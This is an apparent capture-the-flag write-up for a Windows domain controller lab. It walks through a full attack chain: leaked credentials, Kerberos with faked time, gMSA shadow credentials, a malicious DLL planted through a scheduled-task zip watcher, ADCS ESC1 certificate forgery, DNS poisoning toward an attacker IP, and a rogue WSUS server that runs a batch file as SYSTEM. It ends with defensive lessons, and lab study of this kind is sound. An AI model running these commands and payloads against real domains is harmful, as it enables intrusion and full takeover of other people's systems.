Machine Info
- Name: Logging
- IP: 10.129.245.130 (DC01)
- OS: Windows Server 2019 Build 17763
- Difficulty: Hard
- Key Skills: SMB share mining, Protected Users / Kerberos with clock skew, gMSA shadow credentials via GenericWrite, scheduled task DLL trigger, ADCS ESC1 (Enrollee Supplies Subject), AD-integrated DNS poisoning, rogue WSUS server (wsuks)
Summary
Logging is a single-host Windows AD machine that pivots from a low-priv user to a service account in Protected Users (Kerberos-only), through a shadow-credential attack on a gMSA, into a scheduled task that triggers a DLL file-watcher, and finally into a full WSUS spoofing chain that runs SYSTEM-context code on the DC. The chain uses ADCS ESC1 to mint a Server Authentication certificate for wsus.logging.htb, AD-integrated DNS write to point that name at the attacker, and wsuks (a Server-2019-correct WSUS spoofer) to ship a Microsoft-signed PsExec64.exe with a copy command that exfiltrates root.txt to a readable path.
Attack Chain:
SMB Logs share -> svc_recovery cred leak -> Kerberos+faketime (Protected Users)
-> GenericWrite gMSA msa_health$ -> shadow-cred -> WinRM as msa_health$
-> Settings_Update.zip DLL trigger -> jaylee.clifton context -> user.txt
-> ADCS UpdateSrv ESC1 cert -> AD DNS poison wsus.logging.htb -> wsuks WSUS spoof
-> PsExec64.exe SYSTEM -> root.txt
Reconnaissance
Initial credential
The box drops the player at the foothold with a low-priv domain user.
wallace.everette / Welcome2026@
SMB enumeration
nxc smb 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' --shares
Readable shares with wallace.everette:
ADMIN$ (denied)
C$ (denied)
IPC$ READ
Logs READ <- box-name match, primary target
NETLOGON READ
SYSVOL READ
WSUSTemp (denied)
signing: required, Null Auth: True on IPC$. LDAP signing not required and channel binding never (relevant later).
Domain inventory via LDAP
nxc ldap 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' --users
nxc ldap 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' --groups
Users of interest:
svc_recovery(member of customEmergency Recoverygroup)jaylee.clifton(sole member ofIT)toby.brynleigh(one of the local profile dirs found later)
Cert Publishers is populated, so ADCS is in play.
Foothold: Logs share to svc_recovery
Pull the share
nxc smb 10.129.245.130 -u 'wallace.everette' -p 'Welcome2026@' \
-M spider_plus -o DOWNLOAD_FLAG=True --share Logs
The dump contains IdentitySync_Trace_20260219.log, which leaks an internal LDAP bind block:
BindUser: LOGGING\svc_recovery
BindPass: Em3rg3ncyPa$$2026
Note: an earlier-dated copy of the same log shows Em3rg3ncyPa$$2025. That is a year-rollover red herring; the live password is the 2026 one.
Failed NTLM, working Kerberos
nxc smb 10.129.245.130 -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
# STATUS_ACCOUNT_RESTRICTION
svc_recovery is in Protected Users, so any NTLM auth is blocked. Kerberos still works, but the HTB DC is intentionally clock-skewed about 7 hours ahead. Use faketime:
DC_TIME=$(faketime -q -h 'now' echo placeholder; \
ldapsearch -H ldap://10.129.245.130 -x -s base -b "" currentTime \
| grep currentTime | awk '{print $2}')
faketime "$(echo $DC_TIME | sed 's/Z$//;s/T/ /')" \
impacket-getTGT -dc-ip 10.129.245.130 \
'logging.htb/svc_recovery:Em3rg3ncyPa$$2026'
Result: svc_recovery.ccache.
Lateral: GenericWrite to gMSA
BloodHound path
Run BloodHound as wallace.everette (NTLM is fine for him):
bloodhound-python -d logging.htb -u wallace.everette -p 'Welcome2026@' \
-ns 10.129.245.130 -dc DC01.logging.htb -c All --zip
svc_recovery has GenericWrite over msa_health$ (a gMSA computer object).
Shadow credentials with Certipy
export KRB5CCNAME=$PWD/svc_recovery.ccache
faketime '2026-05-01 23:25:00' \
certipy shadow auto -u svc_recovery -k -no-pass -account msa_health$ \
-dc-ip 10.129.245.130
Output (trimmed):
[*] Saved certificate and private key to 'msa_health.pfx'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5
WinRM as msa_health$
nxc winrm 10.129.245.130 -u 'msa_health$' \
-H 603fc24ee01a9409f83c9d1d701485c5 -d logging.htb -X 'whoami'
Returns logging\msa_health$ with (Pwn3d!) flag, but whoami /priv shows only SeMachineAccountPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege. Local admin is not granted; reading root.txt directly fails. Useful capability is the foothold and the writable C:\ProgramData\UpdateMonitor directory (BUILTIN\Users have Write here).
User: scheduled-task DLL trigger as jaylee.clifton
Discover the trigger
A scheduled task \UpdateChecker Agent runs every 3 minutes as jaylee.clifton:
Task To Run: "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" 500 /scan=3 /autofix=true
Run As User: jaylee.clifton
Repeat: Every 3 Minute(s)
Static review of UpdateMonitor.exe (32-bit .NET 4.7.2, references System.IO.Compression.ZipFile) shows the following flow:
- Watches
C:\ProgramData\UpdateMonitor\Settings_Update.zip - Extracts archive into
C:\Program Files\UpdateMonitor\bin\ LoadLibrary("settings_update.dll")from that bin directory- Resolves and invokes the
PreUpdateCheckexport
Build the planted DLL
The DLL must be 32-bit. The first build was x64 and the host returned ERROR_BAD_EXE_FORMAT (193) in monitor.log.
su.c:
#include <windows.h>
static void copy_flag(void) {
HANDLE in = CreateFileA("C:\\Users\\jaylee.clifton\\Desktop\\user.txt",
GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (in == INVALID_HANDLE_VALUE) return;
char buf[512] = {0}; DWORD got = 0;
ReadFile(in, buf, sizeof(buf)-1, &got, NULL);
CloseHandle(in);
HANDLE out = CreateFileA("C:\\ProgramData\\UpdateMonitor\\Logs\\u.txt",
GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (out == INVALID_HANDLE_VALUE) return;
DWORD wrote = 0;
WriteFile(out, buf, got, &wrote, NULL);
CloseHandle(out);
}
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID p) {
if (r == DLL_PROCESS_ATTACH) copy_flag();
return TRUE;
}
__declspec(dllexport) void __stdcall PreUpdateCheck(void) { copy_flag(); }
Build and pack:
i686-w64-mingw32-gcc -O2 -shared -s -o settings_update.dll su.c \
-lkernel32 -luser32 -Wl,--add-stdcall-alias
zip -j Settings_Update.zip settings_update.dll
Drop and wait
Upload the archive over WinRM as msa_health$:
[IO.File]::WriteAllBytes('C:\ProgramData\UpdateMonitor\Settings_Update.zip',
[Convert]::FromBase64String('<base64>'))
monitor.log after the next 3-minute cycle:
Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
Calling 'PreUpdateCheck' in settings_update.dll
C:\ProgramData\UpdateMonitor\Logs\u.txt now contains user.txt, written by jaylee.clifton.
user.txt
c6d8047cd1ff07332128861d12b5fdc4
This same trigger primitive is the foundation of the rest of the chain. Anything we want jaylee to do is just a different Settings_Update.zip payload, dropped by msa_health$, executed every 3 minutes.
Privesc Recon: WSUS policy and ADCS
WSUS policy on the DC
Reading HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate (readable by Authenticated Users):
WUServer : https://wsus.logging.htb:8531
WUStatusServer : https://wsus.logging.htb:8531
UpdateServiceUrlAlternate : https://wsus.logging.htb:8531
HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU:
UseWUServer : 1
AUOptions : 4
The DC is configured to fetch updates from wsus.logging.htb on TCP/8531 (HTTPS). wuauserv runs as LocalSystem. There is no DNS A record for that name yet.
ADCS templates
Run certipy find as msa_health$:
certipy find -u '[email protected]' \
-hashes 603fc24ee01a9409f83c9d1d701485c5 \
-dc-ip 10.129.245.130 -dns-tcp -ns 10.129.245.130 -enabled -stdout
Vulnerable template:
Template Name : UpdateSrv
Schema Version : 2
Client Authentication : False
Enrollee Supplies Subject : True <- ESC1
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Authorized Signatures Required : 0
Enrollment Rights : LOGGING.HTB\IT
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
jaylee.clifton is the only member of IT. She can request a Server Authentication certificate with any subject she wants.
Privesc step 1: get a cert for wsus.logging.htb
Build CSR locally with OpenSSL
The trigger runs in BATCH context as jaylee, which has no user CSP profile, so certreq -new fails with Access Denied. Workaround: generate the keypair and CSR locally on the attacker, drop only the CSR, and have jaylee submit it (DCOM-only, no profile needed).
openssl genrsa -out wsus.key 2048
cat > wsus.cnf <<'EOF'
[req]
distinguished_name = dn
req_extensions = ext
prompt = no
[dn]
CN = wsus.logging.htb
[ext]
subjectAltName = DNS:wsus.logging.htb
EOF
openssl req -new -key wsus.key -out wsus.csr -config wsus.cnf
Submit via the trigger
Settings_Update.zip payload that runs as jaylee:
certreq -submit -q -attrib "CertificateTemplate:UpdateSrv" \
-config "DC01.logging.htb\logging-DC01-CA" \
C:\ProgramData\UpdateMonitor\Logs\wsus.csr \
C:\ProgramData\UpdateMonitor\Logs\wsus.cer
Assemble PFX/PEM locally
After the next 3-minute cycle, the signed cert lands in wsus.cer. Pull it back to the attacker:
openssl x509 -in wsus.cer -noout -subject -issuer -ext subjectAltName,extendedKeyUsage
# Subject: CN = wsus.logging.htb
# Issuer: DC=htb, DC=logging, CN=logging-DC01-CA
# SAN: DNS:wsus.logging.htb
# EKU: TLS Web Server Authentication
openssl pkcs12 -export -in wsus.cer -inkey wsus.key \
-out wsus.pfx -passout pass:Pa55word!
openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes -passin pass:Pa55word!
The PEM bundle (key + cert) is what wsuks consumes.
Privesc step 2: AD DNS poisoning
Authenticated Users can create new DNS records in AD-integrated zones. Use dnstool.py from krbrelayx:
python3 dnstool.py \
-u 'logging.htb\wallace.everette' -p 'Welcome2026@' \
-a add -r wsus.logging.htb -d 10.10.16.3 -t A \
10.129.245.130
Verify:
dig +short @10.129.245.130 wsus.logging.htb A
# 10.10.16.3
The DC will resolve wsus.logging.htb to the attacker IP within a few minutes.
Privesc step 3: rogue WSUS with wsuks
pywsus (GoSecure) does not work against Windows Server 2019 in this configuration. WUA accepts the SyncUpdates response but logs Windows Update successfully found 0 updates for every cycle, regardless of metadata patches. wsuks (NeffIsBack) generates a different metadata structure and does work.
Install on macOS
git clone https://github.com/NeffIsBack/wsuks.git
pip3 install --break-system-packages --user wsuks
Two patches were needed for serve-only mode on macOS:
lib/router.py (the package version) becomes a stub when nftables is missing:
import logging
class Router:
def __init__(self, *a, **kw):
self.logger = logging.getLogger("wsuks")
self.isRunning = False
def configure(self): pass
def start(self): pass
def stop(self): pass
wsuks.py line 174 root check:
# was: if os.geteuid() != 0:
if False:
logger.error("This script must be run as root!")
exit(1)
Stage the payload
A simple batch file on the DC, dropped by msa_health$, that runs from the rogue WSUS install:
go.bat (CRLF line endings):
@echo off
copy /Y "C:\Users\toby.brynleigh\Desktop\root.txt" "C:\ProgramData\UpdateMonitor\Logs\r.txt"
icacls "C:\ProgramData\UpdateMonitor\Logs\r.txt" /grant Everyone:R
Note: root.txt is on toby.brynleigh’s desktop, not Administrator’s. Hunt for the path with a one-shot where /R C:\Users root.txt payload first if you do not know it yet.
Start wsuks serve-only
wsuks --serve-only \
--tls-cert /tmp/logging-htb/wsus.pem \
--WSUS-Port 8531 \
-t 10.10.16.3 -I tun0 \
-c '/accepteula /s cmd /c C:\ProgramData\UpdateMonitor\Logs\go.bat' \
--debug
wsuks listens on 10.10.16.3:8531 with TLS terminated using our UpdateSrv-issued cert. The DC trusts it because the issuer (logging-DC01-CA) is in its own root store.
Watch the chain advance
wsuks.log cycles through the full WSUS protocol within a minute:
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetExtendedUpdateInfo"
[+] Received GET request: /<uuid>/PsExec64.exe <- DC downloads the signed binary
[+] Received POST request: /ReportingWebService/... AGENT_INSTALLING_STARTED
[+] Received POST request: /ReportingWebService/... AGENT_INSTALLING_SUCCEEDED
WUA Operational events on the DC confirm:
Id 26 Windows Update successfully found 1 updates.
Id 41 An update was downloaded.
... AGENT_INSTALLING_SUCCEEDED ...
Bundle Security Update for * Windows (from KB9010344)
PsExec64.exe is the Microsoft-signed copy bundled with wsuks, so WUA’s signature check passes. WUA invokes it as SYSTEM with the configured arguments, which calls our go.bat.
Capture root.txt
Read the result file as msa_health$ (the icacls grant in go.bat makes it world-readable):
nxc winrm 10.129.245.130 -u 'msa_health$' \
-H 603fc24ee01a9409f83c9d1d701485c5 -d logging.htb \
-X 'Get-Content C:\ProgramData\UpdateMonitor\Logs\r.txt'
root.txt
04ed72ef72c9a31b6bca8af52c4e079d
Cleanup
- Remove the planted DNS record:
python3 dnstool.py \
-u 'logging.htb\wallace.everette' -p 'Welcome2026@' \
-a remove -r wsus.logging.htb -d 10.10.16.3 -t A \
10.129.245.130
- Stop wsuks:
pkill -f wsuks - The planted DLL on disk (
C:\Program Files\UpdateMonitor\bin\settings_update.dll) andSettings_Update.zipwill be overwritten on the next legitimate update cycle. Reverting them is optional in a CTF context. - Revoke the
UpdateSrvcert via the CA console after the engagement. Certipy can also flag templates for retirement testing.
Lessons
- ADCS
Enrollee Supplies Subjecton a Server Authentication template is enough to forge a TLS identity for any DNS name in the forest. Combined with AD-integrated DNS write (default for Authenticated Users on most zones), a low-priv user can stand up a trusted MITM for any HTTPS service the domain trusts. - Server 2019 WUA is stricter than the older Windows 10 builds that
pywsuswas tested against.wsuksis the right tool for current Server 2019;pywsuswill look like it is working from the network log but WUA will silently file 0 updates. - Protected Users blocks NTLM but does not block Kerberos. Always try
getTGT(withfaketimeif needed) before assuming a credential is unusable. - A 3-minute scheduled task that loads any DLL from a user-writable archive path is a privesc primitive equivalent to a service binary hijack. The fact that it runs as a normal domain user (not SYSTEM) does not save it; the user it runs as is the lateral movement target.
- File path defaults bite.
root.txthere was ontoby.brynleigh’s desktop. Always runwhere /R C:\Users <flag>first when you have arbitrary code execution as SYSTEM and no admin login UI to confirm the layout.
